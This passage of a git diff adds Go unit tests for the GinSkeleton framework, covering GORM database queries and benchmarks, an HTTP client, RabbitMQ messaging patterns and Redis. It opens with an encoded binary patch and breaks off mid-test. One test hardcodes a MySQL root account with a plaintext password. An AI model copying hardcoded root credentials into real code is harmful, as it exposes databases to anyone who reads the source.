zB|6S&E=5$YKi)!#@ee}}hmT=z@Q4&A6?3UCBf)9>ex#xjPivc?`rOI$?$=L`ykEDt zIx0%j@~ain^@{sflqqoM^G@|+h5UW=08r*ZBR-!VO(*xSKUX3J)4t0m1Fy^E3)YJx zKgCk4=x{@+_}~7swmN8|4vVo?n21%LG8gNtO*+xi`8E>|FwA}5vopN>t|95Mp>c!k zKQRA&xhOsQz-RR0+i~|6#wtGBIj{|L&%`6-T#SBH(ACTtmG{xV7r-Wn)bbTh(cl>k&|F~6K{)jbXfgvnR)MZdA#sad# zJivR3mrW`8yjpIHL$^6f*kR>%D9}N(D5Y(X0A_OnsIu1T-Z0tv25ce5xKJMh8D;m* z6j5$`Q&dGP#dO9kxhv3g6F6PPj`o6r3)KR+Wd)N01^TAvS_Y3noPqmf^)m3n+I`5)#S>;j?i1Cu+4T+kd@ZpYB}?`QI6Xq~-p_ zJvMN%e7aUdzok9@BJ^)97FFO9PEI9pj< zLlOi1Ekjm+G7OVVITcDUUyS3KTo&V? z$6WqeHS>fE$t-|JV(KZP?r$%;i0pkk4WGTl365E#6M=dPQ`xcA2;xuUOr52$D^^0b zQl;}#eAis#&Ost zH|2nvJdeI|py&PCyV~Wm_PAT8s%Ni->|{B)JMW#vTASQPPL$Uz%#a)hyipaQ+07(c z%ozB=E0fcG%eY(zlre(uTq}E?h~_j-^42?_`jYhr_Epv#bXXP=8c#ppF2~s}UXot> zJL^HyteinsG;!|*fQ<~9$>u4OKNvB$o3aAR-Iv{yyg)+u!=fZIKebm-#Z<@ zrj@I5an+AhOO@91ex?G^X$ge&M{+tDIIN~YqEBabbmQRKZpzhbnnfOO%PHy8p;j=? zQN?19C<^#1s{ty*fv$evaXq6ppJ2-Cezddt&8*Fjo+>}MwaVTCkz!Iqaz5R&^Md&b z*>3VCYk$;gpX#qj3sHd=^GFSJU4J$BJ;Z9ebKMkM1DZDR^QgOB3^O&!)ZG?*;U)#G zPpDtkR=ez`&wyC^sOy~Poy|AKwf#0EGiNM0fC(}GCgRXv1$pkfMuUbTZTgU%4@H$| zhcC9E?gX>zPlJm}5GDv;xH>)araBEAPGlGmTNu-~ENm{(`W>>T0~O?RGDOe7?tJ=g zQexnK*%V6@e3?e~tGnebwxpgh&+wk0!XqX9UyS1x@nwhX*&Cr5Z@GB`Uu_)u^+`Lt z0ZrU=760JpJZ)f9Ti~nm6+XY30Bbeps$i2zzrs1Khy_!va&MKkXUBB4*DHTAhPH@0 z2+X4(U>uN)q;X+J^->U4%UFM$O|ny6Vq9Eo6j-Tdx$@w>6^b!}_VDCGGh@~34p`>! zC(BPyAtz?M6aL)Kdc)ka4S!5($|eHR+<}B?k@KR3gzq?O!QWE6j-?QZaLsQH*{ft_ zVDc&EGJ5(Nb}F5XE7dyg6k=g?s{QSEeURSMf6`1=-wiVKz2fXg>18vbp>T?6jWCJO z*IJW?_!EX|l{NRhNv+5d@w+ST)#6GXD3ll`2vuZ7!cAS)aOicIg{S)B{a5+%=7+Te z$IsfIq0;KMWGSy`jpP7NOeFmq5R z;EQBe=Syd$w(OXC^ZyAyYW{;wnqRAG&^m>6Vz0@LM6O2G*KuL^m$oJl};#i(igL{l*PCw;*d%wI;^h3y(&P^UqLw=d_d>TL_3 z96FgQW!Tzoj0h~rkrvO2yX1`+BnRBfJ7+~+!t0aMguz4H{i`o$eg`Pu8Aay2rQ z9ZS2CP_}%DFYlAh*u|ZOG|95_pW6<55skz7Iy^$%Pw76KVoJ!5oziyMMyO|lb>tLJ z7Kt0q{}mJue-QjDyNbkaGo4uoBw^5ELV}c7kK7oSZTwZ{K5~i{MG(DeJ7elP?js|t zZSl>VqWcMi>ytkr>PwcLu^+9?|L1BOX;SQP_z#c#-+H%&_FB94SWAex^?-=(K|75^ zP)sPj^UFKL#BfaTU8~f8LpSmfW|@K;Nar`V{fz|iDbIgg5-x)6hSA9tz41{-Q%2ov u<<)h=_^|5zr+e*rc+;WzPUipRVX1l4B(LN>%TNEk4Ny%_wOZLO?Ee4@nN45- literal 0 HcmV?d00001 diff --git a/GinSkeleton/test/gormv2_test.go b/GinSkeleton/test/gormv2_test.go new file mode 100644 index 0000000..ddbb4cb --- /dev/null +++ b/GinSkeleton/test/gormv2_test.go @@ -0,0 +1,396 @@ +package test + +import ( + "fmt" + "goskeleton/app/global/variable" + "goskeleton/app/utils/gorm_v2" + _ "goskeleton/bootstrap" + "sync" + "testing" + "time" +) + +// gorm v2 操作数据库单元测试 +// 单元测试为了不影响自带的数据库,我们将单元测试涉及到的表创建在了 独立的额数据库: db_ginskeleton2_test +// 测试本篇首先保证 config/gorm_v2.yml 文件配置正确,相关配置项 IsInitGolobalGormMysql = 1 ,并且是设置连接的数据为:db_ginskeleton2_test +// 单元测试涉及到的数据库下载地址:https://wwt.lanzoul.com/ivT3A06cq35i +// 本文件测试到的相关数据表由于数据量较大, 最终的数据库文件没有放置在本项目骨架中,如果你动手能力很强,可以通过 issue 留言获取,重新进行测试 +// 更多使用用法参见官方文档:https://gorm.io/zh_CN/docs/v2_release_note.html + +// 模拟创建 3 个数据表,请在数据库按照结构体字段自行创建,字段全部使用小写 +type tb_users struct { + Id uint `json:"id" gorm:"primaryKey" ` + UserName string `json:"user_name"` + Age uint8 `json:"age"` + Addr string `json:"addr"` + Email string `json:"email"` + Phone string `json:"phone"` + Remark string `json:"remark"` + CreatedAt string `json:"created_at"` + UpdatedAt string `json:"updated_at"` +} + +func (*tb_users) TableName() string { + return "tb_users" +} + +//角色表 +type tb_role struct { + Id uint `json:"id" gorm:"primaryKey" ` + Name string `json:"name"` + DisplayName string `json:"display_name"` + Description string `json:"description"` + Remark string `json:"remark"` + CreatedAt string `json:"created_at"` + UpdatedAt string `json:"updated_at"` +} + +func (*tb_role) TableName() string { + return "tb_role" +} + +// 用户登录日志 +type tb_user_log struct { + Id int `gorm:"primaryKey" ` + UserId int + Ip string + LoginTime string + Remark string + CreatedAt string `json:"created_at"` + UpdatedAt string `json:"updated_at"` +} + +// 如果不自定义,默认使用的是表名的复数形式,即:Tb_user_logs +func (*tb_user_log) TableName() string { + return "tb_user_log" +} + +// code_list表 +type tb_code_list struct { + Code string + Name string + CompanyName string + Concepts string + ConceptsDetail string + Province string + City string + Status uint8 + Remark string + CreatedAt string + UpdatedAt string +} + +// 如果不自定义,默认使用的是表名的复数形式,即:Tb_user_logs +func (*tb_code_list) TableName() string { + return "tb_code_list" +} + +// 查询 +func TestGormSelect(t *testing.T) { + // 查询 tb_users,由于没有配置指定的主从数据库。,所以默认连接的是 + var users []tb_users + var roles []tb_role + + // tb_users 查询数据会从 db_test 查询, 整个语句没有指定表名,那么就会从 Find 函数参数 &users 上绑定的 tableName函数的返回值中获取表名 + result := variable.GormDbMysql.Select("id", "user_name", "phone", "email", "remark").Where("user_name like ?", "%test%").Find(&users) + if result.Error != nil { + t.Errorf("单元测试失败,错误明细:%s\n", result.Error.Error()) + } + fmt.Printf("tb_users表数据:%v\n", users) + + result = variable.GormDbMysql.Where("name like ?", "%test%").Find(&roles) + if result.Error != nil { + t.Errorf("单元测试失败,错误明细:%s\n", result.Error.Error()) + } + fmt.Printf("tb_roles表数据:%v\n", roles) +} + +// 新增 +func TestGormInsert(t *testing.T) { + var usrLog = &tb_user_log{ + UserId: 3, + Ip: "192.168.1.110", + LoginTime: time.Now().Format("2006-01-02 15:04:05"), + Remark: "备注信息1028", + CreatedAt: time.Now().Format("2006-01-02 15:04:05"), + UpdatedAt: time.Now().Format("2006-01-02 15:04:05"), + } + + // 方式1:相关sql 语句: insert into Tb_user_log(user_id,ip,login_time,CreatedAt,updated_at) values(1,"192.168.1.10","当前时间","当前时间") + result := variable.GormDbMysql.Create(usrLog) + if result.RowsAffected < 0 { + t.Error("新增失败,错误详情:", result.Error.Error()) + } + + // 方式2:相关sql 语句: insert into Tb_user_log(user_id,ip,remark) values(1,"192.168.1.10","备注信息001") + result = variable.GormDbMysql.Select("user_id", "ip", "remark").Create(usrLog) + if result.RowsAffected < 0 { + t.Error("新增失败,错误详情:", result.Error.Error()) + } +} + +// 修改 +func TestGormUpdate(t *testing.T) { + var usrLog = tb_user_log{ + Id: 13, // 更新操作一定要指定主键Id + UserId: 3, + Ip: "127.0.0.1", + LoginTime: "2008-08-08 08:08:08", + Remark: "整个结构体对应的字段全部更新", + CreatedAt: time.Now().Format("2006-01-02 15:04:05"), + UpdatedAt: time.Now().Format("2006-01-02 15:04:05"), + } + // 整个结构体全量更新 + result := variable.GormDbMysql.Save(&usrLog) + if result.RowsAffected < 0 { + t.Error("update失败,错误详情:", result.Error.Error()) + } + + // 定义更新字段的map, 键值对 + var relaValue = map[string]interface{}{ + "user_id": 66, + "ip": "192.168.6.66", + "login_time": time.Now().Format("2006-01-02 15:04:05"), + "remark": "指定字段更新,备注信息", + } + // 指定字段更新,更新sql: update Tb_user_log set user_id=66,ip='192.168.6.66' , login_time='当前时间', remark='指定字段更新,备注信息' where id=11 + result = variable.GormDbMysql.Model(&usrLog).Select("user_id", "ip", "login_time", "remark").Where("id=?", 13).Updates(relaValue) + if result.RowsAffected < 0 { + t.Error("update失败,错误详情:", result.Error.Error()) + } +} + +// 删除 +func TestGormDelete(t *testing.T) { + // 定义一个只带有ID 的相关表结构体 + var key_primary_struct = tb_role{ + Id: 4, + } + // 方法1: sql:delete from tb_role where id =4 + result := variable.GormDbMysql.Delete(key_primary_struct) + if result.RowsAffected < 0 { + t.Error("delete失败,错误详情:", result.Error.Error()) + } + + // 方法2: sql:delete from tb_role where id =5 + result = variable.GormDbMysql.Delete(&tb_role{}, 5) + if result.RowsAffected < 0 { + t.Error("delete失败,错误详情:", result.Error.Error()) + } +} + +// 原生sql + +func TestRawSql(t *testing.T) { + + // 查询类 + var receive []tb_user_log + variable.GormDbMysql.Raw("select * from tb_user_log where id>?", 0).Scan(&receive) + fmt.Printf("%v\n", receive) + //var dest=make([]string,0) + //_=sql_res_to_tree.CreateSqlResFormatFactory().ScanToTreeData(receive,&dest) + //执行类 + result := variable.GormDbMysql.Exec("update tb_user_log set remark=? where id=?", "gorm原生sql执行修改操作", 17) + if result.RowsAffected < 0 { + t.Error("原生sql执行失败,错误详情:", result.Error.Error()) + } +} + +func TestBatchInsertSql(t *testing.T) { + + // 查询类 + sql := ` +INSERT INTO tb_auth_post_mount_has_menu_button(fr_auth_post_mount_has_menu_id,fr_auth_button_cn_en_id) +SELECT 91,4 FROM DUAL WHERE NOT EXISTS(SELECT 1 FROM tb_auth_post_mount_has_menu_button a WHERE a.fr_auth_post_mount_has_menu_id=91 AND a.fr_auth_button_cn_en_id=4) + ` + for i := 0; i < 100; i++ { + result := variable.GormDbMysql.Exec(sql) + if result.Error != nil { + t.Error("原生sql执行失败,错误详情:", result.Error.Error()) + } + } + +} + +// 性能测试(大量查询计算耗时,评测性能) +func TestUseTime(t *testing.T) { + //循环查询100次,每次查询3500条数据,累计查询数据量为 35 万, 计算总耗时 + var receives []tb_code_list + var time1 = time.Now() + for i := 0; i < 100; i++ { + receives = make([]tb_code_list, 0) + variable.GormDbMysql.Model(tb_code_list{}).Select("code", "name", "company_name", "concepts_detail", "province", "city", "remark", "status", "created_at", "updated_at").Where("id<=?", 3500).Find(&receives) + + } + fmt.Printf("gorm数据遍历完毕:最后一次条数:%d\n", len(receives)) + //经过测试,遍历处理35万条数据,需要 1034 毫秒,不同配置的电脑耗时不一样 + fmt.Printf("本次耗时(毫秒):%d\n", time.Now().Sub(time1).Milliseconds()) + + // 直接使用 gorm 的原生 + //for i:=0;i<100;i++{ + // receives=make([]tb_code_list,0) + // variable.GormDbMysql.Raw("SELECT `code`, `name`, `company_name`, `concepts`, `concepts_detail`, `province`, `city`, `remark`, `status`, `CreatedAt`, `updated_at` FROM `tb_code_list` where id<3500 ").Find(&receives) + //} + //fmt.Printf("gorm 原生sql数据遍历完毕:最后一次条数:%d\n",len(receives)) + //// 经过测试,遍历处理35万条数据,需要 4.58 秒 + //fmt.Printf("本次耗时(毫秒):%d\n",time.Now().Sub(time1).Milliseconds()) +} + +// 性能测试(并发与连接池) +func TestCocurrent(t *testing.T) { + // SELECT `code`, `name`, `company_name`, `concepts`, `concepts_detail`, `province`, `city`, `remark`, `status`, `created_at`, `updated_at` FROM `tb_code_list` where id<3500; + var wg sync.WaitGroup + // 数据库的并发最大连接数建议设置为 128, 后续测试将通过测试数据验证 + var conNum = make(chan uint16, 128) + wg.Add(1000) + time1 := time.Now() + for i := 1; i <= 1000; i++ { + conNum <- 1 + go func() { + defer func() { + <-conNum + wg.Done() + }() + var received []tb_code_list + variable.GormDbMysql.Table("tb_code_list").Select("code", "name", "company_name", "province", "city", "remark", "status", "created_at", "updated_at").Where("id<=?", 3500).Find(&received) + //fmt.Printf("本次读取的数据条数:%d\n",len(received)) + }() + } + wg.Wait() + fmt.Printf("耗时(ms):%d\n", time.Now().Sub(time1).Milliseconds()) + + // 测试结果,2022-06-13 补充,以下测试数据为 I7-4代机器,在I7-12代机器上面耗时非常少,128并发只需要 3.13 秒就完成了本单元测试 + // 1.数据库并发在 1000 (相当于有1000个客户端连接操作数据库,可以在数据库使用 show processlist 自行实时刷新观察、验证), + // 2.并发设置为 1000,累计查询、返回结果的数据条数:350万. 最终耗时:(14.28s) + // 3.并发设置为 500,累计查询、返回结果的数据条数:350万. 最终耗时:(14.03s) + // 4.并发设置为 250,累计查询、返回结果的数据条数:350万. 最终耗时:(13.57s) + // 5.并发设置为 128,累计查询、返回结果的数据条数:350万. 最终耗时:(13.27s) // 由此可见,数据库并发性能最优值就是同时有128个连接,该值相当于抛物线的最高性能点 + // 6.并发设置为 100,累计查询、返回结果的数据条数:350万. 最终耗时:(13.43s) + // 7.并发设置为 64,累计查询、返回结果的数据条数:350万. 最终耗时:(15.10s) + +} + +// 面对复杂场景,需要多个客户端连接到部署在多个不同服务器的 mysql、sqlserver、postgresql 等数据库时, +// 由于配置文件(config/gorm_v2.yml)只提供了一份mysql连接,无法满足需求,这时您可以通过自定义参数直接连接任意数据库,获取一个数据库句柄,供业务使用 +func TestCustomeParamsConnMysql(t *testing.T) { + // 定义一个查询结果接受结构体 + type DataList struct { + Id int + Username string + Last_login_ip string + Status int + } + // 设置动态参数连接任意多个数据库,以mysql为例进行单元测试 + // 参数结构体 Write 和 Read 只有设置了具体指,才会生效,否则程序自动使用配置目录(config/gorm_v.yml)中的参数 + confPrams := gorm_v2.ConfigParams{ + Write: struct { + Host string + DataBase string + Port int + Prefix string + User string + Pass string + Charset string + }{Host: "127.0.0.1", DataBase: "db_test", Port: 3306, Prefix: "tb_", User: "root", Pass: "DRsXT5ZJ6Oi55LPQ", Charset: "utf8"}, + Read: struct { + Host string + DataBase string + Port int + Prefix string + User string + Pass string + Charset string + }{Host: "127.0.0.1", DataBase: "db_stocks", Port: 3306, Prefix: "tb_", User: "root", Pass: "DRsXT5ZJ6Oi55LPQ", Charset: "utf8"}} + + var vDataList []DataList + + //gorm_v2.GetSqlDriver 参数介绍 + // sqlType : mysql 、sqlserver、postgresql 等数据库库类型 + // readDbIsOpen : 是否开启读写分离,1表示开启读数据库的配置,那么 confPrams.Read 参数部分才会生效; 0 则表示 confPrams.Read 部分参数直接忽略(即 读、写同库) + // confPrams 动态配置的数据库参数 + // 此外,其他参数,例如数据库连接池等,则直接调用配置项数据库连接池参数,动态不需要配置,这部分对实际操作影响不大 + if gormDbMysql, err := gorm_v2.GetSqlDriver("mysql", 0, confPrams); err == nil { + gormDbMysql.Raw("select id,username,status,last_login_ip from tb_users").Find(&vDataList) + fmt.Printf("Read 数据库查询结果:%v\n", vDataList) + res := gormDbMysql.Exec("update tb_users set real_name='Write数据库更新' where id<=2 ") + fmt.Printf("Write 数据库更新以后的影响行数:%d\n", res.RowsAffected) + } +} + +//将结果集数据扫描到树形结构体 +// 定义一个树形结构体将原始sql集数据树形化 + +// 将sql结果集扫描为树形结构数据 +// 关于sql结果树形化更多的用法参考独立的文档即可:https://gitee.com/daitougege/sql_res_to_tree +//func TestSqlResultToTreeStruct(t *testing.T) { +// // 定义一个原始数据集的接受结构体 +// var res1 []struct { +// Id int +// Name string +// Fid int +// } +// sql := ` +// SELECT id,fid,name FROM tb_province_city WHERE id IN(1,25,321) OR path_info LIKE '0,1,25,321,2721%' +// ` +// +// variable.GormDbMysql.Raw(sql).Find(&res1) +// fmt.Printf("%+v\n", res1) +// +// type ProvinceCity struct { +// Id int `primaryKey:"yes" json:"id"` +// Name string `json:"name"` +// Fid int `fid:"Id" json:"fid"` +// Children []ProvinceCity `json:"children"` +// } +// var dest = make([]ProvinceCity, 0) +// if err := sql_res_to_tree.CreateSqlResFormatFactory().ScanToTreeData(res1, &dest); err == nil { +// +// fmt.Printf("%v\n", dest) +// bytes, _ := json.Marshal(dest) +// fmt.Printf("\n%s\n", bytes) +// } else { +// t.Errorf("%s\n", err) +// } +// +// // 通过反射解剖结构体的字段以及父子关系 +// +//} + +// sqlserver 数据库测试, 以查询为例,其他操作参见mysql +// 请在配置项 config > gorm_v2.yml 中,sqlserver 部分,正确配置数据库参数 +// 设置 IsInitGolobalGormSqlserver =1 ,程序自动初始化全局变量 +func TestSqlserver(t *testing.T) { + var users []tb_users + + // 执行类sql,如果配置了读写分离,该命令会在 write 数据库执行 + result := variable.GormDbSqlserver.Exec("update tb_users set remark='update 操作 write数据库' where id=?", 1) + if result.Error != nil { + t.Errorf("单元测试失败,错误明细:%s\n", result.Error.Error()) + } + + // 查询类,如果配置了读写分离,该命令会在 read 数据库执行 + result = variable.GormDbSqlserver.Table("tb_users").Select("id", "user_name", "pass", "remark").Where("id > ?", 0).Find(&users) + if result.Error != nil { + t.Errorf("单元测试失败,错误明细:%s\n", result.Error.Error()) + } + fmt.Printf("sqlserver数据查询结果:%v\n", users) +} + +// PostgreSql 数据库测试 +// 请在配置项 config > gorm_v2.yml 中,PostgreSql 部分,正确配置数据库参数。 +// 设置 IsInitGolobalGormPostgreSql =1 ,程序自动初始化全局变量 +func TestPostgreSql(t *testing.T) { + var users []tb_users + + // 执行类sql,如果配置了读写分离,该命令会在 write 数据库执行 + result := variable.GormDbPostgreSql.Exec("update web.tb_users set remark='update 操作 write数据库' where id=?", 1) + if result.Error != nil { + t.Errorf("单元测试失败,错误明细:%s\n", result.Error.Error()) + } + // 查询类,如果配置了读写分离,该命令会在 read 数据库执行 + result = variable.GormDbPostgreSql.Table("web.tb_users").Select("").Select("id", "user_name", "age", "addr", "remark").Where("id > ?", 0).Find(&users) + if result.Error != nil { + t.Errorf("单元测试失败,错误明细:%s\n", result.Error.Error()) + } + fmt.Printf("sqlserver数据查询结果:%v\n", users) +} diff --git a/GinSkeleton/test/http_client_test.go b/GinSkeleton/test/http_client_test.go new file mode 100644 index 0000000..cafa809 --- /dev/null +++ b/GinSkeleton/test/http_client_test.go @@ -0,0 +1,46 @@ +package test + +import ( + "github.com/qifengzhang007/goCurl" + "goskeleton/app/global/variable" + _ "goskeleton/bootstrap" // 为了保证单元测试与正常启动效果一致,记得引入该包 + "testing" +) + +// goCurl 更详细的使用文档 https://gitee.com/daitougege/goCurl + +// 一个简单的get请求 +func TestHttpClient(t *testing.T) { + cli := goCurl.CreateHttpClient() + if resp, err := cli.Get("http://hq.sinajs.cn/list=sh601360"); err == nil { + content, err := resp.GetContents() + if err != nil { + t.Errorf("单元测试未通过,返回值不符合要求:%s\n", content) + } + t.Log(content) + } +} + +// 向门户服务接口请求,用于收集cpu占用情况。 +func TestPprof(t *testing.T) { + cli := goCurl.CreateHttpClient() + for i := 1; i <= 500; i++ { + resp, err := cli.Get("http://127.0.0.1:20191/api/v1/home/news", goCurl.Options{ + FormParams: map[string]interface{}{ + "newsType": "portal", + "page": "2", + "limit": "52", + }, + }) + if err == nil { + if txt, err := resp.GetContents(); err == nil { + if i == 500 { + //最后一次输出返回结果,避免中间过程频繁操作io + variable.ZapLog.Info(txt) + } + } + } else { + t.Log(err.Error()) + } + } +} diff --git a/GinSkeleton/test/rabbitmq_test.go b/GinSkeleton/test/rabbitmq_test.go new file mode 100644 index 0000000..1c05af3 --- /dev/null +++ b/GinSkeleton/test/rabbitmq_test.go @@ -0,0 +1,254 @@ +package test + +import ( + "fmt" + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/my_errors" + "goskeleton/app/utils/rabbitmq/hello_world" + "goskeleton/app/utils/rabbitmq/publish_subscribe" + "goskeleton/app/utils/rabbitmq/routing" + "goskeleton/app/utils/rabbitmq/topics" + "goskeleton/app/utils/rabbitmq/work_queue" + _ "goskeleton/bootstrap" + "os" + "strconv" + "testing" +) + +// 消息队列(rabbitmq)在线文档地址:https://www.yuque.com/xiaofensinixidaouxiang/bkfhct/tkcuc8 +// 延迟消息队列在线文档地址:https://www.yuque.com/xiaofensinixidaouxiang/bkfhct/grroyv +// 本篇的单元测试提供的是非延迟消息队列的测试,只要学会单元测试提供的示例,延迟队列也是非常简单的,参考在线文档即可 + +// 1.HelloWorld 模式 +func TestRabbitMqHelloWorldProducer(t *testing.T) { + + helloProducer, err := hello_world.CreateProducer() + if err != nil { + t.Errorf("HelloWorld单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + var res bool + for i := 0; i < 10; i++ { + str := fmt.Sprintf("%d_HelloWorld开始发送消息测试", i+1) + res = helloProducer.Send(str) + //time.Sleep(time.Second * 1) + } + + helloProducer.Close() // 消息投递结束,必须关闭连接 + // 总共发送了10条消息,我们简单判断一下最后一条消息返回的结果 + if res { + t.Log("消息发送OK") + } else { + t.Errorf("HelloWorld模式消息发送失败") + } +} + +// 消费者 +func TestMqHelloWorldConsumer(t *testing.T) { + + consumer, err := hello_world.CreateConsumer() + if err != nil { + t.Errorf("HelloWorld单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + consumer.OnConnectionError(func(err *amqp.Error) { + t.Errorf(my_errors.ErrorsRabbitMqReconnectFail+",%s\n", err.Error()) + }) + + consumer.Received(func(receivedData string) { + + t.Logf("HelloWorld回调函数处理消息:--->%s\n", receivedData) + }) +} + +// 2.WorkQueue模式 +func TestRabbitMqWorkQueueProducer(t *testing.T) { + + producer, _ := work_queue.CreateProducer() + var res bool + for i := 0; i < 10; i++ { + str := fmt.Sprintf("%d_WorkQueue开始发送消息测试", i+1) + res = producer.Send(str) + //time.Sleep(time.Second * 1) + } + + producer.Close() // 消息投递结束,必须关闭连接 + + if res { + t.Logf("消息发送OK") + } else { + t.Errorf("WorkQueue模式消息发送失败") + } +} + +// 消费者 +func TestMqWorkQueueConsumer(t *testing.T) { + + consumer, err := work_queue.CreateConsumer() + if err != nil { + t.Errorf("WorkQueue单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + consumer.OnConnectionError(func(err *amqp.Error) { + t.Errorf(my_errors.ErrorsRabbitMqReconnectFail + ", %s" + err.Error()) + }) + + consumer.Received(func(receivedData string) { + + t.Logf("WorkQueue回调函数处理消息:--->%s\n", receivedData) + }) +} + +// 3.PublishSubscribe 发布、订阅模式模式 +func TestRabbitMqPublishSubscribeProducer(t *testing.T) { + + producer, err := publish_subscribe.CreateProducer() + if err != nil { + t.Errorf("WorkQueue 单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + var res bool + for i := 0; i < 10; i++ { + str := fmt.Sprintf("%d_PublishSubscribe开始发送消息测试", i+1) + // 参数二: 消息延迟的毫秒数,只有创建的对象是延迟模式该参数才有效 + res = producer.Send(str, 1000) + fmt.Println(str, res) + //time.Sleep(time.Second * 2) + } + + producer.Close() // 消息投递结束,必须关闭连接 + + if res { + t.Log("消息发送OK") + } else { + t.Errorf("PublishSubscribe 模式消息发送失败") + } +} + +// 消费者 +func TestRabbitMqPublishSubscribeConsumer(t *testing.T) { + + consumer, err := publish_subscribe.CreateConsumer() + if err != nil { + t.Errorf("PublishSubscribe单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + consumer.OnConnectionError(func(err *amqp.Error) { + t.Errorf(my_errors.ErrorsRabbitMqReconnectFail + ",%s\n" + err.Error()) + }) + + consumer.Received(func(receivedData string) { + + t.Logf("PublishSubscribe回调函数处理消息:--->%s\n", receivedData) + }) +} + +// Routing 路由模式 +func TestRabbitMqRoutingProducer(t *testing.T) { + + producer, err := routing.CreateProducer() + + if err != nil { + t.Errorf("Routing单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + var res bool + var key string + for i := 1; i <= 20; i++ { + + // 将 偶数 和 奇数 分发到不同的key,消费者端,启动两个也各自处理偶数和奇数 + if i%2 == 0 { + key = "key_even" // 偶数键 + } else { + key = "key_odd" // 奇数键 + } + + //strData := fmt.Sprintf("%d_Routing_%s, 开始发送消息测试"+time.Now().Format("2006-01-02 15:04:05"), i, key) + // 参数三: 消息延迟的毫秒数,只有创建的对象是延迟模式该参数才有效 + res = producer.Send(key, strconv.Itoa(i)+"- Routing开始发送消息测试", 10000) + //time.Sleep(time.Second * 1) + } + + producer.Close() // 消息投递结束,必须关闭连接 + + if res { + t.Logf("消息发送OK") + } else { + t.Errorf("Routing 模式消息发送失败") + } +} + +// 消费者 +func TestRabbitMqRoutingConsumer(t *testing.T) { + consumer, err := routing.CreateConsumer() + + if err != nil { + t.Errorf("Routing单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + consumer.OnConnectionError(func(err *amqp.Error) { + t.Errorf(my_errors.ErrorsRabbitMqReconnectFail + ", %s\n" + err.Error()) + }) + // 通过route_key 匹配指定队列的消息来处理 + consumer.Received("key_even", func(receivedData string) { + fmt.Println("处理偶数的回调函数 ---> 收到消息内容: " + receivedData) + // t.Logf("处理偶数的回调函数:--->收到消息时间:%s - 消息内容:%s\n", time.Now().Format("2006-01-02 15:04:05"), receivedData) + }) +} + +// topics 模式 +func TestRabbitMqTopicsProducer(t *testing.T) { + + producer, err := topics.CreateProducer() + if err != nil { + t.Errorf("Routing单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + var res bool + var key string + for i := 1; i <= 10; i++ { + + // 将 偶数 和 奇数 分发到不同的key,消费者端,启动两个也各自处理偶数和奇数 + if i%2 == 0 { + key = "key.even" // 偶数键 + } else { + key = "key.odd" // 奇数键 + } + strData := fmt.Sprintf("%d_Routing_%s, 开始发送消息测试", i, key) + // 参数三: 消息延迟的毫秒数,只有创建的对象是延迟模式该参数才有效 + res = producer.Send(key, strData, 10000) + //time.Sleep(time.Second * 1) + } + + producer.Close() // 消息投递结束,必须关闭连接 + + if res { + t.Logf("消息发送OK") + } else { + t.Errorf("topics 模式消息发送失败") + } + //Output: 消息发送OK +} + +// 消费者 +func TestRabbitMqTopicsConsumer(t *testing.T) { + consumer, err := topics.CreateConsumer() + + if err != nil { + t.Errorf("Routing单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + consumer.OnConnectionError(func(err *amqp.Error) { + t.Errorf(my_errors.ErrorsRabbitMqReconnectFail + ", %s\n" + err.Error()) + }) + // 通过route_key 模糊匹配队列路由键的消息来处理 + consumer.Received("#.odd", func(receivedData string) { + + t.Logf("模糊匹配偶数键:--->%s\n", receivedData) + }) +} diff --git a/GinSkeleton/test/redis_test.go b/GinSkeleton/test/redis_test.go new file mode 100644 index 0000000..4a5305c --- /dev/null +++ b/GinSkeleton/test/redis_test.go @@ -0,0 +1,117 @@ +package test + +import ( + "fmt" + "go.uber.org/zap" + "goskeleton/app/global/variable" + "goskeleton/app/utils/redis_factory" + _ "goskeleton/bootstrap" + "testing" + "time" +) + +// 普通的key value +func TestRedisKeyValue(t *testing.T) { + // 从连接池获取一个连接 + redisClient := redis_factory.GetOneRedisClient() + + // set 命令, 因为 set key value 在redis客户端执行以后返回的是 ok,所以取回结果就应该是 string 格式 + res, err := redisClient.String(redisClient.Execute("set", "key2020", "value202022")) + if err != nil { + t.Errorf("单元测试失败,%s\n", err.Error()) + } else { + variable.ZapLog.Info("Info 日志", zap.String("key2020", res)) + } + // get 命令,分为两步:1.执行get命令 2.将结果转为需要的格式 + if res, err = redisClient.String(redisClient.Execute("get", "key2020")); err != nil { + t.Errorf("单元测试失败,%s\n", err.Error()) + } + variable.ZapLog.Info("get key2020 ", zap.String("key2020", res)) + //操作完毕记得释放连接,官方明确说,redis使用完毕,必须释放 + redisClient.ReleaseOneRedisClient() + +} + +// hash 键、值 +func TestRedisHashKey(t *testing.T) { + + redisClient := redis_factory.GetOneRedisClient() + + // hash键 set 命令, 因为 hSet h_key key value 在redis客户端执行以后返回的是 1 或者 0,所以按照int64格式取回 + res, err := redisClient.Int64(redisClient.Execute("hSet", "h_key2020", "hKey2020", "value2020_hash")) + if err != nil { + t.Errorf("单元测试失败,%s\n", err.Error()) + } else { + fmt.Println(res) + } + // hash键 get 命令,分为两步:1.执行get命令 2.将结果转为需要的格式 + res2, err := redisClient.String(redisClient.Execute("hGet", "h_key2020", "hKey2020")) + if err != nil { + t.Errorf("单元测试失败,%s\n", err.Error()) + } + fmt.Println(res2) + //官方明确说,redis使用完毕,必须释放 + redisClient.ReleaseOneRedisClient() +} + +// 测试 redis 连接池 +func TestRedisConnPool(t *testing.T) { + + for i := 1; i <= 20; i++ { + go func() { + redisClient := redis_factory.GetOneRedisClient() + fmt.Printf("获取的redis数据库连接池地址:%p\n", redisClient) + time.Sleep(time.Second * 10) + fmt.Printf("阻塞过程中,您可以通过redis命令 client list 查看链接的客户端") + redisClient.ReleaseOneRedisClient() // 释放从连接池获取的连接 + }() + } + time.Sleep(time.Second * 20) +} + +// 测试redis 网络中断自动重连机制 +func TestRedisReConn(t *testing.T) { + redisClient := redis_factory.GetOneRedisClient() + res, err := redisClient.String(redisClient.Execute("set", "key2020", "测试网络抖动,自动重连机制")) + if err != nil { + t.Errorf("单元测试失败,%s\n", err.Error()) + } else { + variable.ZapLog.Info("Info 日志", zap.String("key2020", res)) + } 